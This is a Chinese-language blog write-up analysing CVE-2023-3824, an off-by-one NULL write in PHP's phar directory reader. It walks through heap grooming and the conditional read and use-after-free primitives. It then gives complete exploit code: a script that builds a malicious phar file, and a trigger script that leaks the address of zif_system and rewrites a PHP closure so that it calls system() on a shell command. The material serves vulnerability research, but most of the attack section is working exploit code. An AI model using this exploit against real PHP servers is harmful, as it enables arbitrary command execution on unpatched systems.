CVE-2023-3824: 幸运的Off-by-one (two?)

故事经过

前天看见了一个新闻[1], 英国国家打击犯罪局(NCA)、美国联邦调查局(FBI)、欧洲刑警组织等执法部门宣称联合捣毁了世界上最大的网络犯罪集团LockBit. 这里面提到了这些执法机构利用了一个PHP漏洞 (CVE-2023-3824) , 这引起了我的兴趣. 为啥执法机构会暴露这些细节呢? 查了一下, 原来是该犯罪团伙负责人自己说的, 他也只怪自己没有及时地更新PHP :( .

简略分析

简单搜索了一下, 没有找到关于它的利用方式, 那只能咱亲自冻手了. 首先发现PHP官方Repo已经收录了这个安全问题[2], PHP官方对此评价为"Exploiting this is difficult to do".

其问题出现在函数phar_dir_read at ext/phar/dirstream.c. 关于这个函数写的怎么样, 咱只能说一言难尽.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static ssize_t phar_dir_read(php_stream *stream, char *buf, size_t count) /* {{{ */
{
size_t to_read;
HashTable *data = (HashTable *)stream->abstract;
zend_string *str_key;
zend_ulong unused;

if (HASH_KEY_NON_EXISTENT == zend_hash_get_current_key(data, &str_key, &unused)) {
return 0;
}

zend_hash_move_forward(data);
to_read = MIN(ZSTR_LEN(str_key), count);

if (to_read == 0 || count < ZSTR_LEN(str_key)) {
return 0;
}

memset(buf, 0, sizeof(php_stream_dirent));
memcpy(((php_stream_dirent *) buf)->d_name, ZSTR_VAL(str_key), to_read);
((php_stream_dirent *) buf)->d_name[to_read + 1] = '\0';

return sizeof(php_stream_dirent);
}

这个函数用于phar://协议下读取文件夹中的内容. 这段代码出现的一些问题:

  1. 后面的memset已经假设了buf的大小是sizeof(php_stream_dirent). 因此函数开头理因有一个关于它的检查, 却没有看见. 然而这个问题在这里其实不大, 因为在PHP中所有引用这个函数的地方, 传入的countsizeof(php_stream_dirent) 都是保持一致的. 当然这样的做法依然是不对的, 因为需要考虑PHP第三方库对其的使用规范.
  2. 注意这里我们只考虑Linux的下利用情况, 全篇亦是如此. 在Linux下sizeof(php_stream_dirent)4096. 当文件夹中存在一个文件名长度为4096的文件时, 在第13行这里即有to_read == 4096, 从而第14行这里的判断顺利通过了 (i.e., count == ZSTR_LEN(str_key) == 4096). 考虑第21行这里的结尾NULL字符写入, 我们知道传入的buffer大小为4096, 再往后写就肯定overflow了. 有趣是它写NULL的位置也错了, 应该在d_name[to_read]NULL, 而不是to_read + 1. 这样就给我们带来在buf + 4097处写零的机会.

经典的Off-by-one (two?), 这让我想到了著名的CVE-2019-11043[4], 值得一试.

找利用点

根据buf所处的位置, 可以营造stack overflow和heap overflow, 进而有两种不同的利用方式. 根据常识利用Off-by-one关键是memory layout. 简要搜索一下, 有几个地方可以操作上述函数:

  1. buf在stack上:
    1. openddir + readdir
    2. scandir
    3. libmagic 中的 apprentice_load
  2. buf在heap上:
    1. FilesystemIterator
    2. DirectoryIterator
    3. SplFileInfo
    4. SplFileObject

因为绕不过canary并且不太好利用, 所以直接将stack overflow排除了, 只剩下了heap overflow.

Heap overflow

上述4个类都是PHP标准库中操作文件夹的相关设施, 位于ext/spl/spl_directory.c. 它们底层都涉及一个比较关键的结构_spl_filesystem_object如下, 我略去了该结构中不太重要的字段.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct _spl_filesystem_object {
// ...
union {
struct {
php_stream *dirp;
php_stream_dirent entry; // overflow here
char *sub_path;
size_t sub_path_len;
// ...
} dir;
// ...
} u;
// ...
};

其中_spl_filesystem_object.u.dir.entry就是上述4个类在操作文件夹时buf所处的位置. 可以看到其后面紧跟着一个sub_path字段, 配合sub_path_len, 不难看出这里是一个binary-safe string结构. 试想如果利用overflow把sub_path某个字节覆写掉, 肯定可以带来一些新的契机. 这也是文章标题称之为《幸运的Off-by-one》.

Spl_filesystem_object is the key

这里我们首先需要知道一些关于spl_filesystem_object.u.dir.entryspl_filesystem_object.u.dir.sub_path的操作.

更新 u.dir.entry : 由这个函数可以触发overflow. 通过检查引用这个函数的地方, 看起来我们只需要拨动相关的Iterator即可触发这个函数.

1
2
3
4
5
6
7
8
9
10
// ext/spl/spl_directory.c: 236
static int spl_filesystem_dir_read(spl_filesystem_object *intern) /* {{{ */
{
if (!intern->u.dir.dirp || !php_stream_readdir(intern->u.dir.dirp, &intern->u.dir.entry)) {
intern->u.dir.entry.d_name[0] = '\0';
return 0;
} else {
return 1;
}
}

读取 u.dir.sub_path : 通过调用RecursiveDirectoryIterator->getSubPath即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// ext/spl/spl_directory.c: 1530
PHP_METHOD(RecursiveDirectoryIterator, getSubPath)
{
spl_filesystem_object *intern = Z_SPLFILESYSTEM_P(ZEND_THIS);

if (zend_parse_parameters_none() == FAILURE) {
RETURN_THROWS();
}

if (intern->u.dir.sub_path) {
RETURN_STRINGL(intern->u.dir.sub_path, intern->u.dir.sub_path_len);
} else {
RETURN_EMPTY_STRING();
}
}

写入 u.dir.sub_path : 通过调用RecursiveDirectoryIterator->getChildren即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// ext/spl/spl_directory.c: 1494
PHP_METHOD(RecursiveDirectoryIterator, getChildren)
{
// ...
if (subdir) {
// 如果current directory也存在sub_path, 那么children的sub_path应为 parent_sub_path + parent_directory_name
if (intern->u.dir.sub_path && intern->u.dir.sub_path[0]) {
subdir->u.dir.sub_path_len = spprintf(&subdir->u.dir.sub_path, 0, "%s%c%s", intern->u.dir.sub_path, slash, intern->u.dir.entry.d_name);
} else {
// 反之, 此时children的sub_path应为parent_directory_name
subdir->u.dir.sub_path_len = strlen(intern->u.dir.entry.d_name);
subdir->u.dir.sub_path = estrndup(intern->u.dir.entry.d_name, subdir->u.dir.sub_path_len);
}
subdir->info_class = intern->info_class;
subdir->file_class = intern->file_class;
subdir->oth = intern->oth;
}
}

释放 u.dir.sub_path: 通过调用unset($obj)即可.

1
2
3
4
5
6
7
8
9
10
11
// 
static void spl_filesystem_object_free_storage(zend_object *object) /* {{{ */
{
// ...
case SPL_FS_DIR:
if (intern->u.dir.sub_path) {
efree(intern->u.dir.sub_path);
}
break;
// ...
}

conditional read 和 conditional write 原语

这里我们没有任意读/写两个原语, 只有有条件的读/写.

conditional read

  1. 在heap上放置大量需要需要读取的内存结构, 比如zend_closure. 让其中一些刚好落在拥有形如00xx前缀的地址上.
  2. 正常初始化sub_path, 控制好其大小, 落在可控内存结构的附近.
  3. 然后触发overflow, 将sub_path的第2个字节写NULL.
  4. 调用RecursiveDirectoryIterator0->getSubPath, 读取相关结构.

conditional write (UAF)

  1. 在heap上放置大量的可控的内存结构, 比如zend_string. 让其中一些刚好落在拥有形如00xx前缀的地址上.
  2. 正常初始化sub_path, 控制好其大小, 落在可控内存结构的附近.
  3. 然后触发overflow, 将sub_path的第2个字节写NULL, 此时sub_path指向我们可控的内存结构.
  4. 构造UAF: 释放掉对应的iterator (unset($obj)).
  5. 在刚释放的内存上创建所需结构, 利用第一步中可控结构读写它.

增强 conditional read 和 conditional write 原语.

举个例子, 在conditional read中, 如果sub_path指向形如0xdeadbeef的地址, 那么我们只能读0xdead00ef处的内容. 意味着需要读取的内存结构需要落在它的附近. 这里有两个难点:

  1. 如何让需要被写入或者被读入的内存结构落在拥有形如00xx前缀的地址上?

  2. 如何使得被改写的sub_path刚好指向拥有00xx前缀的地址上 ?

在处理这两个问题之前, 我们需要熟悉一下PHP的内存管理.

  1. PHP采用了memory slots的手法, 即针对小内存 (8 - 3072 bytes), 它会在连续的页上按大小划分slots (bins). 举个例子, 对于8 bytes内存, PHP会拿出1个page (4096 bytes) 出来, 将其划分为512个bins供给小于或者等于8 bytes的内存申请. 而对于320 bytes内存, PHP会拿出5个pages出来, 再上面划分64个bins供给 256< x <=320的内存申请. 小内存的回收采用是经典地free_lists.
  2. PHP使用memory chunk (跟arena是有些相似的)来作为小内存的操作对象. 一个memory chunk默认大小为2M (0x200000), PHP在其上根据需求来划分不用小内存区域. 当一个memory chunk使用完了之后, PHP会申请新的chunk. 然后用链表将这些chunks连接起来.

增强 conditional read

对于第一个问题, 我们可以在heap上放置大量连续的相关内存结构, 这依赖于PHP独特的内存管理. 例如在conditional read中, 我们需要读取zend_closure中的closure_handlders值, 其中sizeof(zend_closure) == 320. 如果我们考虑用它将一个memory chunk填满, 可以利用的相关地址前置有.

1
2
3
4
5
6
7
8
9
10
11
<?php
$a = 320;
for (;$a < 0x200000; $a += 320) {
if ((($a >> 8) & 0xff) == 0) {
echo dechex($a)."\n";
}
}

/*
10040,20080,300c0,50000,60040,70080,800c0,a0000,b0040,c0080,d00c0,f0000,100040,110080,1200c0,140000,150040,160080,1700c0,190000,1a0040,1b0080,1c00c0,1e0000,1f0040
*/

如果0x10040可控, 那么0x100400x20080之间就有51个bins可以用.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$a = 0x10040;
$i = 0;
while ($a < 0x20080) {
$a += 320;
if (($a & 0xff) == 0x40) {
echo dechex($a)."\n";
$i++;
}
$j++;
}

echo $i . "\n";
echo $j . "\n";

换言之只要让sub_path指向到这51中的其中一个就可以了. 其中0x100400x20080之间有205这样的bins (size-320-bin), 这样我们有1/4的概率让sub_path指向正确的地方. 再换言之, 我们平均只需要尝试4次, 就可以做到, 事实也是如此. 这也是解决第二问题的方法.

所以比较在意是拿到形如10040, 20080, 300c0... 这其中的一个. 比较好的想法是我们在新的chunk上进行操作, 这样可以避免之前memory layout对我们的影响并且大概率覆盖上述地址. 为了使用新的chunk, 我们可以地连续申请超过一个chunk的相关内存结构. 比如这里我们需要申请超过0x1999zend_closure, 在利用中我使用了0x2024 (毕竟今年是2024 嘿嘿).

增强 conditional write

对于第一个问题, 我们同样在heap上放置大量我们可控的内存结构. 而对于第二个问题, 我们同样进行多次尝试. 这里有一个特别的是, 第二个问题解决方案中的多次尝试是确定性的. 因为heap上的内存结构我们可控, 使得我们可以在指定的位置上放置特定的内容来帮助我们判定sub_path有没有指向正确的位置. 比如我们希望sub_path正好落在地址0x10040上, 其中0x10040是我们可控的. 我们可以在0x10040处写入指定的字符串, 在进行UAF之前, 我们通过读取sub_path的内容, 来确保sub_path是指向正确的.

利用细节

大致路线:

  1. 通过conditional read泄露system函数地址.
  2. 通过conditional write将用户闭包函数修改为native函数system

构造恶意的phar

其中phar文件结构如下, 命名为m2.phar.

1
2
3
├── CCCCCCC...CCC├
├── AAAA...AAA
├── BBBBBB...BBBBB
  • CCCCCCC...CCC文件夹长度为329 , 因为zend_closure是我们后面需要的重要结构, 它的大小为320. 考虑结尾的NULL字符.
  • AAAA...AAA 正常文件和文件名. RecursiveDirectoryIterator->__construct会读取第一个文件作为预备, 我不希望在这一步发生overflow.
  • BBBBBB...BBBBB文件名长度为4096

触发overflow

我们通过以下代码来触发overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$it = new RecursiveDirectoryIterator("phar://./m2.phar");

// 定位到`CCCCCCC...CCC`文件夹
foreach ($it as $file) {
if($file->isDir()) {
break;
}
}

// 创建关于`CCCCCCC...CCC`的RecursiveDirectoryIterator, 其sub_path被初始化为`CCCCCCC...CCC`, 长度为320.
$sub_it = $it->getChildren();

// 读取`CCCCCCC...CCC`中文件, 读取到`BBBBBB...BBBBB`时, 触发overflow, 将sub_path第2个字节写NULL.
foreach($sub_it as $file) {}

泄露system函数地址

这里我们还是老手法, 利用zend_closure.std.zend_object_handlers 位于(Zend/zend_closures.c: 36) 来泄露closure_handlers (位于 Zend/zend_closures.c:46) 的地址.

其中zend_closure通过创建闭包函数来生成, 即我们通过生成大量的闭包函数来填充heap.

1
2
3
4
$f_arr = [];
for ($i = 0; $i < 0x2024; $i++) {
$f_arr[$i] = function(){};
}

然后我们不断修改sub_path让其正好落在我们的申请某个zend_closure开头, 平均4次即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while (1) {
$it = create_RDI();
$sub_it = $it->getChildren();

// preserve every iterator to avoid double freeing on sub_path
$it_arr[] = $sub_it;

// trigger overflow
foreach($sub_it as $file) {}

$data = $sub_it->getSubPath();

// refcounted && is_object, zend_closure本身也是一个zend_object, 其鉴别方式为首8字节为0x800000001
if (read64($data, 0) == 0x800000001) {
$closure_handlers = read64($data, 0x18);
break;
}
}

拿到了closure_handlers加上相关偏移地址, 我们就可以拿到zif_system的地址.

修改闭包函数

首先我们需要在heap上布置可控的内存结构

1
2
3
4
5
6
7
8
9
10
11
12
13
$str_arr = [];
for ($i = 0; $i < 0x2024; $i++) {
$str_arr[$i] = str_repeat('E', 0x140 - 0x20);
// 作为sub_path是否指向正确位置的unique identifier.
$str_arr[$i][0] = "I";
$str_arr[$i][1] = "L";
$str_arr[$i][2] = "I";
$str_arr[$i][3] = "K";
$str_arr[$i][4] = "E";
$str_arr[$i][5] = "P";
$str_arr[$i][6] = "H";
$str_arr[$i][7] = "P";
}

依然是不断修改sub_path让其正好落在我们的申请某个zend_string开头,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while (1) {
// init sub_path
$it = create_RDI();
$sub_it = $it->getChildren();

// trigger overflow
foreach($sub_it as $file) {}

$data = $sub_it->getSubPath();
if (substr($data, 0x18, 8) == "ILIKEPHP") {
// trigger UAF
unset($sub_it);
$f = function(){};
break;
} else {
// prevent double freeing
$it_arr[] = $sub_it;
}
}

然后修改我们可控的zend_string结构, 达到修改闭包函数的任务

1
2
3
4
5
6
7
8
9
10
11
for ($i = 0; $i < 0x2024; $i++) {
// 1. function type: internal function
// zend_closure.function.internal_function.type = 0x38
// zend_string_header = 0x18
write8($str_arr[$i], 0x38 - 0x18, 1);

// 2. function handler: zif_system
// zend_closure.function.internal_function.handler = 0x70
// zend_string_header = 0x18
write64($str_arr[$i], 0x70 - 0x18, $zif_system);
}

完整的Exploitation

位于[3].

PHP版本commit: be71cadc2f899bc39fe27098042139392e2187db

编译选项: ./configure --disable-all --enable-phar

gen_phar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if (file_exists("m2.phar")) {
unlink("m2.phar");
}

$phar = new Phar('m2.phar');

// size of target UAF bin is the size of zend_closure
$dir_name = str_repeat('C', 0x140 - 0x1);
$file_4096 = str_repeat('A', PHP_MAXPATHLEN - 1).'B';

// create an empty directory
$phar->addEmptyDir($dir_name);

// create normal one
$phar->addFromString($dir_name . DIRECTORY_SEPARATOR . str_repeat('A', 32), 'This is the content of the file.');
// trigger overflow
$phar->addFromString($dir_name . DIRECTORY_SEPARATOR . str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');

trigger.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
<?php

// zif_system_offset - closure_handlers_offset
$zif_system_offset = -0x8a1390;
$it_arr = array();

$zif_system = leak_zif_system_addr();
echo "[*] zif_system address: 0x". dechex($zif_system). "\n";

trigger_UAF($zif_system);

function create_RDI()
{
$it = new RecursiveDirectoryIterator("phar://./m2.phar");

// find the first directory
foreach ($it as $file) {
// echo $file . "\n";
if($file->isDir()) {
break;
}
}

return $it;
}

function leak_zif_system_addr() {
global $zif_system_offset;
global $it_arr;

// fill memory chunk with lots of zend_closures;
$f_arr = [];
for ($i = 0; $i < 0x2024; $i++) {
$f_arr[$i] = function(){};
}

// find zend_closure
$closure_handlers = 0;
while (1) {
$it = create_RDI();
$sub_it = $it->getChildren();

// preserve every iterator to avoid double freeing on sub_path
$it_arr[] = $sub_it;

// trigger overflow
foreach($sub_it as $file) {}

$data = $sub_it->getSubPath();

// refcounted && is_object
if (read64($data, 0) == 0x800000001) {
$closure_handlers = read64($data, 0x18);
break;
}
}

if ($closure_handlers == 0) {
exit("bad closure handlers\n");
}

return $closure_handlers + $zif_system_offset;
}

function trigger_UAF($zif_system) {
global $it_arr;

// fill memory chunk with lots of 0x140-size strings,
// ensure address of some strings that are exactly starting with prefix 0040 or 0080.
$str_arr = [];
for ($i = 0; $i < 0x2024; $i++) {
$str_arr[$i] = str_repeat('E', 0x140 - 0x20);
$str_arr[$i][0] = "I";
$str_arr[$i][1] = "L";
$str_arr[$i][2] = "I";
$str_arr[$i][3] = "K";
$str_arr[$i][4] = "E";
$str_arr[$i][5] = "P";
$str_arr[$i][6] = "H";
$str_arr[$i][7] = "P";
}

$f = NULL;
while (1) {
// init sub_path
$it = create_RDI();
$sub_it = $it->getChildren();

// trigger overflow
foreach($sub_it as $file) {}

$data = $sub_it->getSubPath();
if (substr($data, 0x18, 8) == "ILIKEPHP") {
// trigger UAF
unset($sub_it);
$f = function(){};
break;
} else {
// prevent double freeing
$it_arr[] = $sub_it;
}
}
// modify closure
// 1. function type: internal function
// 2. function handler: zif_system
for ($i = 0; $i < 0x2024; $i++) {
// 1. function type: internal function
// zend_closure.function.internal_function.type = 0x38
// zend_string_header = 0x18
write8($str_arr[$i], 0x38 - 0x18, 1);

// 2. function handler: zif_system
// zend_closure.function.internal_function.handler = 0x70
// zend_string_header = 0x18
write64($str_arr[$i], 0x70 - 0x18, $zif_system);
}

$f('uname -an');
}

function read64($str, $p) {
$v = 0;
$v |= ord($str[$p + 0]);
$v |= ord($str[$p + 1]) << 8;
$v |= ord($str[$p + 2]) << 16;
$v |= ord($str[$p + 3]) << 24;
$v |= ord($str[$p + 4]) << 32;
$v |= ord($str[$p + 5]) << 40;
$v |= ord($str[$p + 6]) << 48;
$v |= ord($str[$p + 7]) << 56;
return $v;
}

function write8(&$str, $p, $v){
$str[$p] = chr($v & 0xff);
}

function write64(&$str, $p, $v) {
$str[$p + 0] = chr($v & 0xff);
$v >>= 8;
$str[$p + 1] = chr($v & 0xff);
$v >>= 8;
$str[$p + 2] = chr($v & 0xff);
$v >>= 8;
$str[$p + 3] = chr($v & 0xff);
$v >>= 8;
$str[$p + 4] = chr($v & 0xff);
$v >>= 8;
$str[$p + 5] = chr($v & 0xff);
$v >>= 8;
$str[$p + 6] = chr($v & 0xff);
$v >>= 8;
$str[$p + 7] = chr($v & 0xff);
}

引用

  1. 《挑衅执法机构,LockBit黑客犯罪团伙死灰复燃》, https://mp.weixin.qq.com/s/sLC_zuW0Wyk91i7aITbygA
  2. PHP official report, https://github.com/php/php-src/security/advisories/GHSA-jqcx-ccgc-xwhv
  3. 完整exploitation repo, https://github.com/m4p1e/php-exploit/tree/master/CVE-2023-3824
  4. 拥抱php之CVE-2019-11043, https://m4p1e.com/2019/11/03/CVE-2019-11043/